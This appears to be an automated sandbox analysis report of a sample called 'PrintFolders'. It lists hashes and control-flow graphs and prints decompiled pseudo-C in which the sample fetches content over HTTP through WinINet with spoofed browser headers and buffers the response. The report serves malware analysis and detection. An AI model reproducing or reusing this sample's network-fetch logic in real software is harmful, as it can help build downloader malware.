                                                          • API String ID: 1703294689-0
                                                          • Opcode ID: ed8121747a5916c0d4d7e76e5998f8eb11bb96fe12b92581084defb0bd95f10c
                                                          • Instruction ID: 57c928e6e796ec7aea49f19cfabf78c9b525272d76e34185ca50371a21d47389
                                                          • Opcode Fuzzy Hash: ed8121747a5916c0d4d7e76e5998f8eb11bb96fe12b92581084defb0bd95f10c
                                                          • Instruction Fuzzy Hash: 5CE04631108148AFCB212F66DC09EA93B79FB04389B508839F90586231CB39EC93CA88
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0040F789() {
                                                          				_Unknown_base(*)()* _t1;
                                                          
                                                          				_t1 = SetUnhandledExceptionFilter(E0040F795); // executed
                                                          				return _t1;
                                                          			}




                                                          0x0040f78e
                                                          0x0040f794

                                                          APIs
                                                          • SetUnhandledExceptionFilter.KERNEL32(Function_0000F795,0040F328), ref: 0040F78E
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled
                                                          • String ID:
                                                          • API String ID: 3192549508-0
                                                          • Opcode ID: 1d47e3287a5f49425792cbec75295ec78f4a03d4d2f0f0eea672fc119a570182
                                                          • Instruction ID: c441ddb958a20976f8478718b12c4a1fde45198c9b197ccf8dba8fb5fcb3ec3f
                                                          • Opcode Fuzzy Hash: 1d47e3287a5f49425792cbec75295ec78f4a03d4d2f0f0eea672fc119a570182
                                                          • Instruction Fuzzy Hash:
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 0 10001010-1000104d 1 10001079-1000107c 0->1 2 1000104f-10001077 call 1000320d 0->2 4 10001082-1000109b InternetSetFilePointer 1->4 2->4 6 100010a0-100010d3 InternetReadFile 4->6 7 100010d5-10001107 call 1000320d call 10005bc0 call 10003224 6->7 8 1000110d-1000110f 6->8 7->8 10 10001111-10001113 8->10 11 10001115-10001150 call 10004730 HttpQueryInfoA 8->11 10->6 10->11 17 100014b5-100014e3 call 100031ff 11->17 18 10001156-10001189 CoCreateInstance 11->18 18->17 21 1000118f-10001196 18->21 21->17 24 1000119c-100011ca 21->24 25 100011d0-100011d5 24->25 25->25 26 100011d7-10001298 call 10001970 MultiByteToWideChar call 1000320d MultiByteToWideChar 25->26 31 100012a0-100012a9 26->31 31->31 32 100012ab-10001305 call 10001aa0 call 10003224 31->32 38 10001307-1000131c 32->38 39 1000133c-10001369 32->39 42 10001332-10001339 call 10003216 38->42 43 1000131e-1000132c 38->43 40 1000139a-1000139c 39->40 41 1000136b-1000137a 39->41 47 100013a2-100013a9 40->47 48 100014a9-100014b0 40->48 45 10001390-10001397 call 10003216 41->45 46 1000137c-1000138a 41->46 42->39 43->42 49 100014e6-1000153e call 1000633c 43->49 45->40 46->45 46->49 47->48 53 100013af-10001423 call 1000320d 47->53 48->17 59 10001542-10001547 49->59 63 10001425-10001433 53->63 64 1000148f-100014a5 call 10003224 53->64 59->59 60 10001549-10001570 call 10001970 59->60 71 10001576-10001590 call 1000f670 60->71 72 10001649-10001656 60->72 65 10001435-1000146b call 1000320d call 10001c00 call 10003224 63->65 66 1000146d 63->66 64->48 70 10001470-1000148c call 10001c00 65->70 66->70 70->64 71->72 87 10001596 71->87 75 10001658-10001668 call 1000f670 72->75 76 1000166e 72->76 75->76 90 1000166a-1000166c 75->90 81 10001671-10001710 call 10001970 call 10005bc0 call 10006419 InternetOpenA 76->81 106 10001716-10001757 InternetSetOptionA InternetConnectA 81->106 107 100018ac-100018b9 81->107 88 100015a0-100015b0 87->88 92 100015b2-100015b8 88->92 93 100015bb-100015bf 88->93 90->81 92->93 96 100015c1-100015c7 93->96 97 100015e2-100015e4 93->97 96->97 99 100015c9-100015cf 96->99 100 100015e7-100015e9 97->100 99->97 102 100015d1-100015d4 99->102 103 10001605-1000160b 100->103 104 100015eb-10001601 call 1000f670 100->104 108 100015d6-100015dc 102->108 109 100015de-100015e0 102->109 103->72 111 1000160d-1000160f 103->111 104->88 125 10001603 104->125 114 100018a9-100018aa InternetCloseHandle 106->114 115 1000175d-10001783 HttpOpenRequestA 106->115 116 100018e3-100018fb 107->116 117 100018bb-100018c7 107->117 108->97 108->109 109->100 112 10001945 call 10001960 111->112 113 10001615-10001646 call 10005bc0 111->113 131 1000194a call 1000633c 112->131 113->72 114->107 120 100018a1-100018a6 InternetCloseHandle 115->120 121 10001789-1000184e call 10001970 HttpAddRequestHeadersA call 10001970 HttpAddRequestHeadersA call 10001970 HttpAddRequestHeadersA call 10001970 HttpAddRequestHeadersA 115->121 126 10001925-10001942 call 100031ff 116->126 127 100018fd-10001909 116->127 123 100018d9-100018e0 call 10003216 117->123 124 100018c9-100018d7 117->124 120->114 153 10001850-1000185c 121->153 154 1000187c-1000188d HttpSendRequestA 121->154 123->116 124->123 132 1000194f-1000196a call 1000633c call 100031df 124->132 125->72 134 1000191b-10001922 call 10003216 127->134 135 1000190b-10001919 127->135 131->132 134->126 135->132 135->134 157 10001872-10001879 call 10003216 153->157 158 1000185e-1000186c 153->158 155 1000189b-1000189e InternetCloseHandle 154->155 156 1000188f-10001893 call 10001010 154->156 155->120 161 10001898 156->161 157->154 158->131 158->157 161->155
                                                          C-Code - Quality: 74%
                                                          			E10001010(long __ecx, void* _a4) {
                                                          				char* _v8;
                                                          				char* _v12;
                                                          				void* _v16;
                                                          				signed int _v20;
                                                          				signed int _v24;
                                                          				signed int _v28;
                                                          				unsigned int _v32;
                                                          				long _v36;
                                                          				void** _v52;
                                                          				intOrPtr _v56;
                                                          				long _v60;
                                                          				char* _v76;
                                                          				void _v80;
                                                          				intOrPtr _v84;
                                                          				char* _v88;
                                                          				char* _v104;
                                                          				char* _v108;
                                                          				void* _v112;
                                                          				intOrPtr _v116;
                                                          				void* _v120;
                                                          				void _v288;
                                                          				int _v292;
                                                          				long _v296;
                                                          				char* _v300;
                                                          				char _v316;
                                                          				char* _v320;
                                                          				char* _v324;
                                                          				short* _v328;
                                                          				char* _v332;
                                                          				char* _v336;
                                                          				char* _v340;
                                                          				char* _v356;
                                                          				signed int _v360;
                                                          				char* _v364;
                                                          				char* _v380;
                                                          				intOrPtr* _v504;
                                                          				char _v524;
                                                          				long _v532;
                                                          				intOrPtr _v536;
                                                          				char* _v540;
                                                          				char* _v556;
                                                          				intOrPtr _v584;
                                                          				char* _v620;
                                                          				signed int _v676;
                                                          				intOrPtr _v680;
                                                          				intOrPtr _v696;
                                                          				unsigned int _v700;
                                                          				signed int _v704;
                                                          				unsigned int _v708;
                                                          				signed int _v720;
                                                          				unsigned int _v724;
                                                          				unsigned int _v728;
                                                          				long _v732;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t296;
                                                          				signed int _t297;
                                                          				int _t304;
                                                          				intOrPtr _t305;
                                                          				char* _t316;
                                                          				intOrPtr _t317;
                                                          				signed int _t321;
                                                          				short* _t323;
                                                          				short _t326;
                                                          				intOrPtr* _t328;
                                                          				void* _t329;
                                                          				char* _t331;
                                                          				short* _t335;
                                                          				char* _t340;
                                                          				int _t342;
                                                          				intOrPtr _t345;
                                                          				intOrPtr _t346;
                                                          				char* _t348;
                                                          				signed int _t354;
                                                          				long _t355;
                                                          				long _t357;
                                                          				long _t360;
                                                          				void** _t373;
                                                          				signed int _t382;
                                                          				void* _t400;
                                                          				void** _t401;
                                                          				long _t403;
                                                          				signed int _t404;
                                                          				signed int _t407;
                                                          				unsigned int _t409;
                                                          				signed int _t413;
                                                          				long _t414;
                                                          				void* _t418;
                                                          				signed int _t422;
                                                          				signed int _t424;
                                                          				unsigned int _t426;
                                                          				void* _t432;
                                                          				char* _t435;
                                                          				void* _t443;
                                                          				long _t459;
                                                          				char* _t461;
                                                          				char* _t462;
                                                          				signed int _t473;
                                                          				signed int _t474;
                                                          				void* _t476;
                                                          				char* _t482;
                                                          				intOrPtr _t486;
                                                          				intOrPtr _t490;
                                                          				void* _t491;
                                                          				int _t492;
                                                          				void* _t493;
                                                          				void* _t494;
                                                          				void* _t496;
                                                          				char* _t497;
                                                          				intOrPtr* _t498;
                                                          				long _t499;
                                                          				intOrPtr _t500;
                                                          				signed int _t502;
                                                          				void* _t503;
                                                          				signed int _t504;
                                                          				long _t505;
                                                          				unsigned int _t511;
                                                          				long _t515;
                                                          				intOrPtr* _t526;
                                                          				int _t530;
                                                          				short* _t537;
                                                          				void* _t544;
                                                          				void* _t546;
                                                          				char* _t549;
                                                          				intOrPtr* _t550;
                                                          				void* _t554;
                                                          				void** _t564;
                                                          				unsigned int _t565;
                                                          				unsigned int _t566;
                                                          				void* _t567;
                                                          				void* _t568;
                                                          				char* _t569;
                                                          				char* _t577;
                                                          				char* _t581;
                                                          				void* _t585;
                                                          				short* _t588;
                                                          				signed int _t591;
                                                          				intOrPtr _t595;
                                                          				void* _t597;
                                                          				intOrPtr _t598;
                                                          				unsigned int _t599;
                                                          				unsigned int _t600;
                                                          				void* _t603;
                                                          				intOrPtr _t604;
                                                          				void* _t605;
                                                          				void* _t608;
                                                          				void* _t610;
                                                          				void* _t611;
                                                          				int _t612;
                                                          				short* _t613;
                                                          				void* _t615;
                                                          				void* _t619;
                                                          				void* _t621;
                                                          				unsigned int _t622;
                                                          				unsigned int _t623;
                                                          				signed int _t632;
                                                          				void* _t634;
                                                          				intOrPtr _t636;
                                                          				long _t638;
                                                          				void* _t639;
                                                          				long _t640;
                                                          				void* _t642;
                                                          				void* _t643;
                                                          				void** _t644;
                                                          				long _t645;
                                                          				signed int _t652;
                                                          				void* _t654;
                                                          				signed int _t659;
                                                          				signed int _t660;
                                                          				void* _t661;
                                                          				void* _t662;
                                                          				void* _t664;
                                                          				void* _t665;
                                                          				void* _t666;
                                                          				void* _t667;
                                                          				signed int _t668;
                                                          				void* _t669;
                                                          				void* _t671;
                                                          				void* _t673;
                                                          				void* _t675;
                                                          				void* _t676;
                                                          
                                                          				_push(0xffffffff);
                                                          				_push(E1000F73B);
                                                          				_push( *[fs:0x0]);
                                                          				_t665 = _t664 - 0x170;
                                                          				_t296 =  *0x10017004; // 0x615bd7ba
                                                          				_t297 = _t296 ^ _t659;
                                                          				_v24 = _t297;
                                                          				_push(_t491);
                                                          				_push(_t297);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t638 = __ecx;
                                                          				_t683 =  *((intOrPtr*)(__ecx + 0x28));
                                                          				_t610 = _a4;
                                                          				_v328 = _t610;
                                                          				if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
                                                          					_v332 =  *((intOrPtr*)(__ecx + 0x34));
                                                          				} else {
                                                          					_push(0x7800);
                                                          					 *((intOrPtr*)(__ecx + 0x30)) = 0x7800;
                                                          					_t490 = E1000320D(_t491, _t610, __ecx, _t683);
                                                          					_t665 = _t665 + 4;
                                                          					 *((intOrPtr*)(_t638 + 0x28)) = _t490;
                                                          					 *(_t638 + 0x34) = 0;
                                                          					_v332 = 0;
                                                          				}
                                                          				_v296 = 0;
                                                          				InternetSetFilePointer(_t610, 0, 0, 0, 0);
                                                          				do {
                                                          					_t304 = InternetReadFile(_t610,  &(( *(_t638 + 0x34))[ *((intOrPtr*)(_t638 + 0x28))]), 0x3e8,  &_v296); // executed
                                                          					_t584 = _v296;
                                                          					_t492 = _t304;
                                                          					_t305 =  *((intOrPtr*)(_t638 + 0x30));
                                                          					 *(_t638 + 0x34) =  &(( *(_t638 + 0x34))[_t584]);
                                                          					_t684 = _t305 -  *(_t638 + 0x34) - 0x3e8;
                                                          					if(_t305 -  *(_t638 + 0x34) <= 0x3e8) {
                                                          						_t486 = _t305 + 0x7800;
                                                          						_push(_t486);
                                                          						 *((intOrPtr*)(_t638 + 0x30)) = _t486;
                                                          						_t636 = E1000320D(_t492, _t610, _t638, _t684);
                                                          						E10005BC0(_t636,  *((intOrPtr*)(_t638 + 0x28)),  &(( *(_t638 + 0x34))[1]));
                                                          						E10003224( *((intOrPtr*)(_t638 + 0x28)));
                                                          						_t584 = _v296;
                                                          						_t665 = _t665 + 0x14;
                                                          						 *((intOrPtr*)(_t638 + 0x28)) = _t636;
                                                          						_t610 = _v328;
                                                          					}
                                                          				} while (_t492 != 0 && _t584 != 0);
                                                          				_v296 = 0x103;
                                                          				E10004730(_t610,  &_v288, 0, 0x104);
                                                          				_t666 = _t665 + 0xc;
                                                          				if(HttpQueryInfoA(_t610, 0x1d,  &_v288,  &_v296, 0) == 0) {
                                                          					L32:
                                                          					( *(_t638 + 0x34))[ *((intOrPtr*)(_t638 + 0x28))] = 0;
                                                          					 *[fs:0x0] = _v16;
                                                          					_pop(_t611);
                                                          					_pop(_t639);
                                                          					_pop(_t493);
                                                          					return E100031FF( *(_t638 + 0x34) - _v332, _t493, _v24 ^ _t659, _t584, _t611, _t639);
                                                          				} else {
                                                          					_v324 = 0;
                                                          					_t316 =  &_v316;
                                                          					_v320 = 0;
                                                          					__imp__CoCreateInstance(_t316, 0, 1, 0x100101b0,  &_v324);
                                                          					if(_t316 < 0 || _v324 == 0) {
                                                          						goto L32;
                                                          					} else {
                                                          						_t526 =  &_v288;
                                                          						_v356 = 0;
                                                          						_v340 = 0;
                                                          						_t585 = _t526 + 1;
                                                          						_v336 = 0xf;
                                                          						_v356 = 0;
                                                          						asm("o16 nop [eax+eax]");
                                                          						do {
                                                          							_t317 =  *_t526;
                                                          							_t526 = _t526 + 1;
                                                          						} while (_t317 != 0);
                                                          						_push(_t526 - _t585);
                                                          						_push( &_v288);
                                                          						L83();
                                                          						_v8 = 0;
                                                          						_t494 = MultiByteToWideChar;
                                                          						_t530 =  &(_v340[1]);
                                                          						_t320 =  >=  ? _v356 :  &_v356;
                                                          						_v292 = _t530;
                                                          						_t321 = MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _t530, 0, 0);
                                                          						_t612 = _t321;
                                                          						_push( ~(0 | _v336 - 0x00000010 > 0x00000000) | _t321 * 0x00000002);
                                                          						_t323 = E1000320D(MultiByteToWideChar, _t612, _t638, _v336 - 0x10);
                                                          						_t667 = _t666 + 4;
                                                          						_v328 = _t323;
                                                          						_t536 =  >=  ? _v356 :  &_v356;
                                                          						_t613 = _t323;
                                                          						MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _v292, _t613, _t612);
                                                          						_t537 = _t613;
                                                          						_v380 = 0;
                                                          						_v364 = 0;
                                                          						_v360 = 7;
                                                          						_v380 = 0;
                                                          						_t66 =  &(_t537[1]); // 0x2
                                                          						_t588 = _t66;
                                                          						do {
                                                          							_t326 =  *_t537;
                                                          							_t537 =  &(_t537[1]);
                                                          						} while (_t326 != 0);
                                                          						L108();
                                                          						E10003224(_t613);
                                                          						_t668 = _t667 + 4;
                                                          						_v8 = 1;
                                                          						_t328 = _v324;
                                                          						_t590 =  >=  ? _v380 :  &_v380;
                                                          						_t329 =  *((intOrPtr*)( *_t328 + 0x10))(_t328,  >=  ? _v380 :  &_v380, L"text",  &_v320, _t613, _t537 - _t588 >> 1);
                                                          						_v8 = 0;
                                                          						_t615 = _t329;
                                                          						_t591 = _v360;
                                                          						if(_t591 < 8) {
                                                          							L19:
                                                          							_v8 = 0xffffffff;
                                                          							_t584 = _v336;
                                                          							_v364 = 0;
                                                          							_v360 = 7;
                                                          							_v380 = 0;
                                                          							if(_t584 < 0x10) {
                                                          								L23:
                                                          								if(_t615 >= 0) {
                                                          									_t704 = _v320;
                                                          									if(_v320 != 0) {
                                                          										_t496 = ( *(_t638 + 0x34) - _v332) * 8 -  *(_t638 + 0x34) - _v332;
                                                          										_push(_t496);
                                                          										_t335 = E1000320D(_t496, _t615, _t638, _t704);
                                                          										_t669 = _t668 + 4;
                                                          										_t544 =  *(_t638 + 0x34) - _v332;
                                                          										_v292 = 0;
                                                          										_push(0);
                                                          										_v300 = 0;
                                                          										_t616 =  *_v320;
                                                          										_push( &_v292);
                                                          										_v328 = _t335;
                                                          										_push( &_v300);
                                                          										_t584 = _v320;
                                                          										_push(_t544);
                                                          										_push(_t335);
                                                          										_push(_t496);
                                                          										_t497 = _v332;
                                                          										_push( *((intOrPtr*)(_t638 + 0x28)) + _t497);
                                                          										_push(_t544);
                                                          										_push(0);
                                                          										_push(_v320);
                                                          										if( *((intOrPtr*)( *_v320 + 0x10))() >= 0) {
                                                          											_t342 = _v292;
                                                          											_t595 =  *((intOrPtr*)(_t638 + 0x30));
                                                          											_t546 = _t342 + _t497;
                                                          											_t706 = _t595 - _t546;
                                                          											if(_t595 <= _t546) {
                                                          												_t345 = _t546 + 0x3e8;
                                                          												_push(_t345);
                                                          												 *((intOrPtr*)(_t638 + 0x30)) = _t345;
                                                          												_t346 = E1000320D(_t497, _t616, _t638, _t706);
                                                          												_push(_t497);
                                                          												_push( *((intOrPtr*)(_t638 + 0x28)));
                                                          												L134();
                                                          												E10003224( *((intOrPtr*)(_t638 + 0x28)));
                                                          												_t595 =  *((intOrPtr*)(_t638 + 0x30));
                                                          												_t669 = _t669 + 0x10;
                                                          												_t342 = _v292;
                                                          												 *((intOrPtr*)(_t638 + 0x28)) = _t346;
                                                          											}
                                                          											_push(_t342);
                                                          											_push(_v328);
                                                          											_t584 = _t595 - _t497;
                                                          											L134();
                                                          											_t669 = _t669 + 8;
                                                          											 *(_t638 + 0x34) =  &(_t497[_v292]);
                                                          										}
                                                          										E10003224(_v328);
                                                          										_t340 = _v320;
                                                          										 *((intOrPtr*)( *_t340 + 8))(_t340);
                                                          									}
                                                          								}
                                                          								_t331 = _v324;
                                                          								 *((intOrPtr*)( *_t331 + 8))(_t331);
                                                          								goto L32;
                                                          							} else {
                                                          								_t549 = _v356;
                                                          								_t584 = _t584 + 1;
                                                          								_t348 = _t549;
                                                          								if(_t584 < 0x1000) {
                                                          									L22:
                                                          									_push(_t584);
                                                          									E10003216(_t549);
                                                          									_t668 = _t668 + 8;
                                                          									goto L23;
                                                          								} else {
                                                          									_t549 =  *(_t549 - 4);
                                                          									_t584 = _t584 + 0x23;
                                                          									if(_t348 - _t549 + 0xfffffffc > 0x1f) {
                                                          										goto L33;
                                                          									} else {
                                                          										goto L22;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t581 = _v380;
                                                          							_t608 = 2 + _t591 * 2;
                                                          							_t482 = _t581;
                                                          							if(_t608 < 0x1000) {
                                                          								L18:
                                                          								_push(_t608);
                                                          								E10003216(_t581);
                                                          								_t668 = _t668 + 8;
                                                          								goto L19;
                                                          							} else {
                                                          								_t549 =  *(_t581 - 4);
                                                          								_t584 = _t608 + 0x23;
                                                          								if(_t482 - _t549 + 0xfffffffc > 0x1f) {
                                                          									L33:
                                                          									E1000633C(_t494, _t549, _t584, __eflags);
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									_push(_t659);
                                                          									_t660 = _t668;
                                                          									_push(0xffffffff);
                                                          									_push(E1000F78D);
                                                          									_push( *[fs:0x0]);
                                                          									_t671 = _t668 - 0x68;
                                                          									_t354 =  *0x10017004; // 0x615bd7ba
                                                          									_t355 = _t354 ^ _t660;
                                                          									__eflags = _t355;
                                                          									_v532 = _t355;
                                                          									_push(_t494);
                                                          									_push(_t638);
                                                          									_push(_t615);
                                                          									_push(_t355);
                                                          									 *[fs:0x0] =  &_v524;
                                                          									_v620 = _t549;
                                                          									_t498 = _v504;
                                                          									_t550 = _t498;
                                                          									_v556 = 0;
                                                          									_v584 = _t498;
                                                          									_v540 = 0;
                                                          									_v536 = 0xf;
                                                          									_t597 = _t550 + 1;
                                                          									_v556 = 0;
                                                          									do {
                                                          										_t357 =  *_t550;
                                                          										_t550 = _t550 + 1;
                                                          										__eflags = _t357;
                                                          									} while (_t357 != 0);
                                                          									_push(_t550 - _t597);
                                                          									_push(_t498);
                                                          									L83();
                                                          									_v12 = 0;
                                                          									__eflags = _v32 - 0x10;
                                                          									_t499 = _v36;
                                                          									_t554 =  >=  ? _v52 :  &_v52;
                                                          									_v112 = _t554;
                                                          									__eflags = _t499 - 7;
                                                          									if(_t499 < 7) {
                                                          										L54:
                                                          										__eflags = _v32 - 0x10;
                                                          										_t619 =  >=  ? _v52 :  &_v52;
                                                          										__eflags = _t499;
                                                          										if(_t499 == 0) {
                                                          											L57:
                                                          											_t640 = _t638 | 0xffffffff;
                                                          											__eflags = _t640;
                                                          										} else {
                                                          											_t638 = E1000F670(_t619, 0x2f, _t499);
                                                          											_t671 = _t671 + 0xc;
                                                          											__eflags = _t638;
                                                          											if(_t638 == 0) {
                                                          												goto L57;
                                                          											} else {
                                                          												_t640 = _t638 - _t619;
                                                          											}
                                                          										}
                                                          										__eflags = _t499 - _t640;
                                                          										_v104 = 0;
                                                          										_v88 = 0;
                                                          										_t556 =  <  ? _t499 : _t640;
                                                          										_v84 = 0xf;
                                                          										__eflags = _v32 - 0x10;
                                                          										_push( <  ? _t499 : _t640);
                                                          										_t359 =  >=  ? _v52 :  &_v52;
                                                          										_push( >=  ? _v52 :  &_v52);
                                                          										_v104 = 0;
                                                          										L83();
                                                          										_v12 = 1;
                                                          										_t360 = _v36;
                                                          										__eflags = _t360 - _t640;
                                                          										_t641 =  <  ? _t360 : _t640;
                                                          										__eflags = _v32 - 0x10;
                                                          										_t559 =  >=  ? _v52 :  &_v52;
                                                          										_t361 = _t360 - ( <  ? _t360 : _t640);
                                                          										_v36 = _t360 - ( <  ? _t360 : _t640);
                                                          										E10005BC0( >=  ? _v52 :  &_v52,  &(( >=  ? _v52 :  &_v52)[ <  ? _t360 : _t640]), _t360 - ( <  ? _t360 : _t640) + 1);
                                                          										_t500 = _v116;
                                                          										_t620 = 0;
                                                          										_v108 = 0;
                                                          										E10006419(_t500 + 0x44, 0x104, _v80, 0x103);
                                                          										_t673 = _t671 + 0x1c;
                                                          										asm("sbb eax, eax");
                                                          										_t642 = InternetOpenA( *(_t500 + 0xc),  ~( *(_t500 + 0x38)) & 0x00000003,  *(_t500 + 0x38), 0, 0);
                                                          										_v112 = _t642;
                                                          										__eflags = _t642;
                                                          										if(_t642 == 0) {
                                                          											L70:
                                                          											_t598 = _v84;
                                                          											__eflags = _t620;
                                                          											_t502 = 0 | _t620 > 0x00000000;
                                                          											__eflags = _t598 - 0x10;
                                                          											if(_t598 < 0x10) {
                                                          												L74:
                                                          												_t599 = _v32;
                                                          												_v88 = 0;
                                                          												_v84 = 0xf;
                                                          												_v104 = 0;
                                                          												__eflags = _t599 - 0x10;
                                                          												if(_t599 < 0x10) {
                                                          													L78:
                                                          													 *[fs:0x0] = _v20;
                                                          													_pop(_t621);
                                                          													_pop(_t643);
                                                          													_pop(_t503);
                                                          													__eflags = _v28 ^ _t660;
                                                          													return E100031FF(_t502, _t503, _v28 ^ _t660, _t599, _t621, _t643);
                                                          												} else {
                                                          													_t564 = _v52;
                                                          													_t599 = _t599 + 1;
                                                          													_t373 = _t564;
                                                          													__eflags = _t599 - 0x1000;
                                                          													if(_t599 < 0x1000) {
                                                          														L77:
                                                          														_push(_t599);
                                                          														E10003216(_t564);
                                                          														goto L78;
                                                          													} else {
                                                          														_t564 =  *(_t564 - 4);
                                                          														_t599 = _t599 + 0x23;
                                                          														__eflags = _t373 - _t564 + 0xfffffffc - 0x1f;
                                                          														if(__eflags > 0) {
                                                          															goto L81;
                                                          														} else {
                                                          															goto L77;
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t569 = _v104;
                                                          												_t603 = _t598 + 1;
                                                          												_t435 = _t569;
                                                          												__eflags = _t603 - 0x1000;
                                                          												if(_t603 < 0x1000) {
                                                          													L73:
                                                          													_push(_t603);
                                                          													E10003216(_t569);
                                                          													_t673 = _t673 + 8;
                                                          													goto L74;
                                                          												} else {
                                                          													_t564 =  *(_t569 - 4);
                                                          													_t599 = _t603 + 0x23;
                                                          													__eflags = _t435 - _t564 + 0xfffffffc - 0x1f;
                                                          													if(__eflags > 0) {
                                                          														goto L81;
                                                          													} else {
                                                          														goto L73;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_v80 = 1;
                                                          											InternetSetOptionA(_t642, 0x41,  &_v80, 4);
                                                          											__eflags = _v84 - 0x10;
                                                          											_t442 =  >=  ? _v104 :  &_v104;
                                                          											_t443 = InternetConnectA(_t642,  >=  ? _v104 :  &_v104, 0x50,  *(_t500 + 0x3c),  *(_t500 + 0x40), 3, 0, 1);
                                                          											_t502 = InternetCloseHandle;
                                                          											_v120 = _t443;
                                                          											__eflags = _t443;
                                                          											if(_t443 == 0) {
                                                          												L69:
                                                          												InternetCloseHandle(_t642);
                                                          												goto L70;
                                                          											} else {
                                                          												__eflags = _v32 - 0x10;
                                                          												_t571 =  >=  ? _v52 :  &_v52;
                                                          												_t620 = HttpOpenRequestA(_t443, "GET",  >=  ? _v52 :  &_v52, 0, 0, 0, 0x80400000, 1);
                                                          												__eflags = _t620;
                                                          												if(_t620 == 0) {
                                                          													L68:
                                                          													InternetCloseHandle(_v120);
                                                          													_t620 = _v108;
                                                          													goto L69;
                                                          												} else {
                                                          													_push(0x7d);
                                                          													_v76 = 0;
                                                          													_push("Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1");
                                                          													_v60 = 0;
                                                          													_v56 = 0xf;
                                                          													_v76 = 0;
                                                          													L83();
                                                          													_v12 = 2;
                                                          													__eflags = _v56 - 0x10;
                                                          													_t642 = HttpAddRequestHeadersA;
                                                          													_t448 =  >=  ? _v76 :  &_v76;
                                                          													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
                                                          													_push(0x28);
                                                          													_push("Accept-Language: ru-RU,ru;q=0.9,en;q=0.8");
                                                          													L83();
                                                          													__eflags = _v56 - 0x10;
                                                          													_t451 =  >=  ? _v76 :  &_v76;
                                                          													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
                                                          													_push(0x32);
                                                          													_push("Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1");
                                                          													L83();
                                                          													__eflags = _v56 - 0x10;
                                                          													_t454 =  >=  ? _v76 :  &_v76;
                                                          													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
                                                          													_push(0x37);
                                                          													_push("Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0");
                                                          													L83();
                                                          													__eflags = _v56 - 0x10;
                                                          													_t457 =  >=  ? _v76 :  &_v76;
                                                          													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
                                                          													_v12 = 1;
                                                          													_t604 = _v56;
                                                          													__eflags = _t604 - 0x10;
                                                          													if(_t604 < 0x10) {
                                                          														L65:
                                                          														_t459 = HttpSendRequestA(_t620, 0, 0, 0, 0);
                                                          														__eflags = _t459;
                                                          														if(_t459 != 0) {
                                                          															_push(_t620); // executed
                                                          															_t461 = E10001010(_v116); // executed
                                                          															_v108 = _t461;
                                                          														}
                                                          														InternetCloseHandle(_t620);
                                                          														_t642 = _v112;
                                                          														goto L68;
                                                          													} else {
                                                          														_t577 = _v76;
                                                          														_t605 = _t604 + 1;
                                                          														_t462 = _t577;
                                                          														__eflags = _t605 - 0x1000;
                                                          														if(_t605 < 0x1000) {
                                                          															L64:
                                                          															_push(_t605);
                                                          															E10003216(_t577);
                                                          															_t673 = _t673 + 8;
                                                          															goto L65;
                                                          														} else {
                                                          															_t564 =  *(_t577 - 4);
                                                          															_t599 = _t605 + 0x23;
                                                          															__eflags = _t462 - _t564 + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L80;
                                                          															} else {
                                                          																goto L64;
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t149 = _t499 - 6; // -6
                                                          										_v108 = _t149 + _t554;
                                                          										_t638 = E1000F670(_t554, 0x68, _t149 + _t554 - _t554);
                                                          										_t671 = _t671 + 0xc;
                                                          										__eflags = _t638;
                                                          										if(_t638 != 0) {
                                                          											asm("o16 nop [eax+eax]");
                                                          											do {
                                                          												_t564 = _t638;
                                                          												_t599 = "http://";
                                                          												_t620 = 3;
                                                          												__eflags =  *_t564 -  *_t599;
                                                          												if( *_t564 ==  *_t599) {
                                                          													_t564 =  &(_t564[1]);
                                                          													_t599 = _t599 + 4;
                                                          													_t620 = 0xffffffffffffffff;
                                                          													__eflags = 3;
                                                          												}
                                                          												_t473 =  *_t564;
                                                          												__eflags = _t473 -  *_t599;
                                                          												if(_t473 !=  *_t599) {
                                                          													L47:
                                                          													asm("sbb eax, eax");
                                                          													_t474 = _t473 | 0x00000001;
                                                          													__eflags = _t474;
                                                          												} else {
                                                          													_t473 = _t564[0];
                                                          													__eflags = _t473 -  *(_t599 + 1);
                                                          													if(_t473 !=  *(_t599 + 1)) {
                                                          														goto L47;
                                                          													} else {
                                                          														_t473 = _t564[0];
                                                          														__eflags = _t473 -  *((intOrPtr*)(_t599 + 2));
                                                          														if(_t473 !=  *((intOrPtr*)(_t599 + 2))) {
                                                          															goto L47;
                                                          														} else {
                                                          															__eflags = _t620 - 0xffffffff;
                                                          															if(_t620 == 0xffffffff) {
                                                          																L46:
                                                          																_t474 = 0;
                                                          															} else {
                                                          																_t473 = _t564[0];
